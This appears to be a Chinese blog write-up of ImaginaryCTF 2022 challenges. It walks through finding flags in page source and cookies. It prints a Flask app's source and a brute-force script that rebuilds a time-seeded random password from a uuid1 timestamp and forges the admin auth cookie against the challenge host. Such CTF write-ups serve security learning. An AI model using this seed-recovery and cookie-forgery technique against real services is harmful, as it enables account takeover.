浅学一下
Misc Sanity Check 签到题,点开直接就是flag
Discord
进入题目所给网址,进去注册一下
根据题目提示找到flag
点开所给的第二个网址,会看到一个专属视频,看到后面会出现flag
Web
点开链接之后发现是空白页面,直接查看源码,经过大概的寻找之后,找到了唯一不同的一长串代码
看到了这些之后,以为是找到了flag,直接以题目要求的形式提交了ictf{y0u_f0und_7h3_f1ag},结果发现是错的!
直接换一种思路
可以看到代码里所有的onclick=“notSusFunction()”
但是这一段源码里既有notSusFunction()又有motSusfunclion(),索性直接全局搜索一下,发现真的有这个值,说明flag就藏在这个按钮里
直接点击一下就能看到flag
rooCookioe 进入之后看到了这个页面
大概意思就是他的flag藏在了cookie中,直接看一下cookie
发现有一段类似于二进制的数字,这时候查看一下源码
看到了这段数字的加密方式
所以需要写一个脚本,把原来的flag给逆着推算出来(需要注意的是,这里逆着推算的时候数字需要11个为一组)
最后得到结果
SSTI Golf maas 打开之后是一个登陆界面
审计一下附件里的主要源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 from flask import Flask, render_template, request, make_response, redirect from hashlib import sha256 import time import uuid import random app = Flask(__name__) memes = [l.strip() for l in open("memes.txt").readlines()] users = {} taken = [] def adduser(username): if username in taken: return "username taken", "username taken" password = "".join([random.choice("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") for _ in range(30)]) cookie = sha256(password.encode()).hexdigest() users[cookie] = {"username": username, "id": str(uuid.uuid1())} taken.append(username) return cookie, password @app.route('/') def index(): return redirect("/login") @app.route('/users') def listusers(): return render_template('users.html', users=users) @app.route('/users/<id>') def getuser(id): for k in users.keys(): if users[k]["id"] == id: return f"Under construction.<br><br>User {users[k]['username']} is a very cool user!" @app.route('/login', methods=['GET', 'POST']) def login(): if request.method == "POST": resp = make_response(redirect('/home')) cookie = sha256(request.form["password"].encode()).hexdigest() resp.set_cookie('auth', cookie) return resp else: return render_template('login.html') @app.route('/register', methods=['GET', 'POST']) def register(): if request.method == "POST": cookie, password = adduser(request.form["username"]) resp = make_response(f"Username: {request.form['username']}<br>Password: {password}") resp.set_cookie('auth', cookie) return f"Username: {request.form['username']}<br>Password: {password}" else: return render_template('register.html') @app.route('/home', methods=['GET']) def home(): cookie = request.cookies.get('auth') username = users[cookie]["username"] if username == 'admin': flag = open('flag.txt').read() return render_template('home.html', username=username, message=f'Your flag: {flag}', meme=random.choice(memes)) else: return render_template('home.html', username=username, message='Only the admin user can view the flag.', meme=random.choice(memes)) @app.errorhandler(Exception) def handle_error(e): return redirect('/login') def initialize(): random.seed(round(time.time(), 2)) adduser("admin") initialize() app.run('0.0.0.0', 8080) //
首先看到这些
意思就是,如果你要创建一个新的用户,系统会先检测一下,你注册的这个用户是否存在,如果不存在的话就会由你注册的时间通过uuid加密生成一个三十位的id,通过哈希加密后作为cookie
接着看/login和/home
意思是要从/home中获取到auth的cookie值,如果用户是admin就会出现flag
大致思路就是这些
首先搜索一下uuid
所以只要我们首先要找到admin的id
id可以从此段源码中得到信息
直接UUID解码器解码一下
得到注册的时间为2022.7.21 下午2:04:31
然后生成一下随机值
这里的1658383471就是admin生成的随机值,但是源码对随机值进行了小数点保留两位的限制,有两种方法:一是一个个地试,二是写个脚本跑一下
通过外力得到了脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import requests, time import random from hashlib import sha256 i =1658383471.00 // 从整开始 for j in range(100000): random.seed(round(i, 2)) password = "".join([random.choice("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") for _ in range(30)]) cookie = sha256(password.encode()).hexdigest() URL = "http://maas.chal.imaginaryctf.org/home" header = {"cookie" : f"auth = {cookie}"} // 创建一个cookie,登录 res = requests.get(URL, headers=header) if "ictf" in res.text: // 如果包含ictf,就会输出text文件,也就是flag print(res.text) break else: print(header) // 不是的话就输出cookie头 i += 0.01 // i一次加0.01,一直循环直到出flag
最后得到flag ictf{d0nt_use_uuid1_and_please_generate_passw0rds_securely_192bfa4d}